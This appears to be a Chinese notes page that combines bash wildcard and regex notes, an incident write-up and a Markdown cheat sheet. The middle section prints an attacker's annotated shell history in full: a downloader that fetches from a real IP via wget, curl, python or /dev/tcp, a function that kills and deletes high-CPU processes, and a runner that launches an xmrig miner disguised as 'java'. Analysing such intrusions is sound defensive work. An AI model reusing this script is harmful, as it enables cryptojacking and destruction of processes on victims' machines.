bash通配符

?:单字符通配
*:多字符通配符
[]:括号条件内匹配

通配符是完全匹配；
正则是包含匹配

anaconda-ks.cfg
是安装信息

grep awk sed等命令可以使用正则表达式(linux三大利器)
ls find cp 不能使用正则，只能使用通配符

正则表达式

     特定字符
字符  范围内字符
     任意字符

特定字符

范围内字符
[]
[0-9]
[a-z]
[A-Z]
[a-zA-Z]
[,:_/]
反向字符^
取反：[^0-9]

任意字符
.
tips:
[.]:取本身字符.
.:转义，还是表达字符.

边界字符：头尾字符
^: ^root 表示以其开头
\$: false$ 表示以其结尾
空行的表示:^$

元字符（代表普通字符或特殊字符）
\w:匹配任何字类字符，包括下划线([a-zA-Z0-9])
\W:匹配任何非字类字符，包括下划线([a-zA-Z0-9])
\b:单词分隔符 \bx\b

正则表达式字符组合
字符串
‘root’ ‘passwd’ ‘pa..wd’
[A-Z][a-z] ‘[0-9][0-9]’
tips:正则表达式的坑:最大匹配原则，既包含原则，结果超出预期，增加限定符

增则表达式字符组合

字符串 重复
逻辑

重复
*:0次或多次，匹配前面的字符或子表达式
+:一次或多次，匹配前面的字符或子表达式(使用需要用转义字符)
?:0次或一次，匹配前面的字符或子表达式

重复特定次数:{n,m}
*:{0,}
+:{1,}
?:{0,1}

任意字符串的表示：.
例如：^r. m.*c

tips:正则坑2:贪婪匹配方式，尽可能匹配，能有多长匹配多长

逻辑的表示
|:’/bin(false|true)‘

4-10位qq号

[0-9]

15或18位身份证（处理x）

起因

昨天下班儿回家的路上，同事突然通过微信发了一个新建 Microsoft office word 2007 文档.docx过来。怀着下班懈怠的想法我并没有打开这个文档:）
而且他连名字都不改！懒惰！
稍后上了地铁，得知是一个业务系统被攻击了，业务在不断重启（当时说的是服务器，后来说是软件服务），他发给我的是一个现场的日志。后来听大佬说是可能是误kill了关键服务，所以导致服务重启；

下面先看一下history里的东西

1
2
3
4
5
6
7

916  sPid=$$  //获得当前程序（shell）的pid
917  mPid=''  //估计是脚本pid后面会赋值
918  mName='java'  //伪装名称为java
919  checkCmd() {
         command -v $1 >/dev/null 2>&1;
     }

关于这条语句，可以查看这篇文章
看完是不是大概懂了这个bash指令的意思，
好的这条指令的意思是查看$1指令是否存在[拖走],$1是传参的第1个参数值（指令本身是第0个）

920  downloader () {
     if checkCmd wget; then//查看wget是否存在
         wget $1 -O $2 ;
     elif checkCmd curl; then//查看curl是否存在
         curl $1 -o $2;
     elif checkCmd python; then//查看是否装了python
         if [ "`python -c "import sys; print(sys.version_info[0])"`" = "3" ]; then
         //判断是不是python3
             python -c "from urllib.request import urlopen;
             u = urlopen('"$1"'); localFile = open('"$2"', 'wb');
             localFile.write(u.read()); localFile.close()";
         else 
         //python2的情况
             python -c "from urllib import urlopen;
            u = urlopen('"$1"');
            localFile = open('"$2"', 'wb'); 
            localFile.write(u.read()); 
            localFile.close()";
         fi; 
     else
         cat < /dev/tcp/165.227.215.25/5555 > $2;
         //把/dev/tcp/165.227.215.25/5555的内容定向输入到$2
     fi;
     chmod +x $2;
     }
921  killer() {
         for tmpVar in `ps -aeo pid,%cpu,command | sed 1d | sort -k 2 | tail -n 10 | awk '{print $1}'`;
         //查看进程里pid,%cpu,command三列，删除第一列，按照第二列排序，取最后10个结果，取第一列的值
         //查看进程中cpu占用率最高的10个进程
         do
             if [ $tmpVar = $sPid ]; then
                 continue;
             //如果pid是shell的pid
             fi;
             if [ $tmpVar = $mPid ]; then
             //如果pid是该脚本的pid
                 continue；
             fi;
             if [ `ps -o %cpu $tmpVar | sed 1d | sed 's/\..*//g'` -ge 60 ]; then
             //
                 if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep java` ]; then
                     continue;
                 fi;    
                 if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep sh` ]; then
                     continue;             
                 fi;             
                 if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep bash` ]; then                 
                     continue;             
                 fi;             
                 kill -9 $tmpVar;
                 rm -f `ls -l /proc/$tmpVar/exe 2>&1 | sed 's/.*-> //g'`;
                 fi;     
             done; 
      }
922  runer() {
         if [ -z "$mPid" ]; then
             if [ ! -f $mName ]; then 
                 downloader http://165.227.215.25/xmrig-y $mName;
             fi;         
             chmod +x ./$mName;
             ./$mName;
         fi;
         mPid=`ps -eo pid,command | grep $mName | head -n 1 | awk '{print $1}'`;
     }
923  pkill python; pkill $mName
924  downloader http://165.227.215.25/xmrig-y $mName
925  ps -ef|grep java

markdown笔记

Just for test

常用语法

标题

在文本前输入#用于声明标题，随数量增加级别递减；
tips:标准语法#后面需要加一个空格# 标题

粗体

在内容两侧分别加2个星号，**文本内容**；示例

斜体

在内容两侧分别加1个星号，*文本内容*；示例

删除线

在内容两侧分别加2个波浪线，~~文本内容~~;示例

分割线

使用3个星号或者3个小短线，使用3个小短线会强制把上一行内容设置为2级标题;

3个星号

3个星号

外链

使用**\[描述](链接地址)**格式添加外链；
示例：空白页

单行代码

在内容两侧分别加2个`(一称小句号)，`文本内容`;示例

多行代码

在内容两侧分别加3个`，```文本内容```;
(需要在文本后多换一行)

1
2
3

我有行号  
我有行号  
我有行号

或者换新行，然后在段落头输入Tab，或4个空格

我没有行号
我没有行号
我没有行号

引入内容

在内容前添加>表示引入内容；

示例

插入图片

使用**\![描述](链接地址)**插入图片；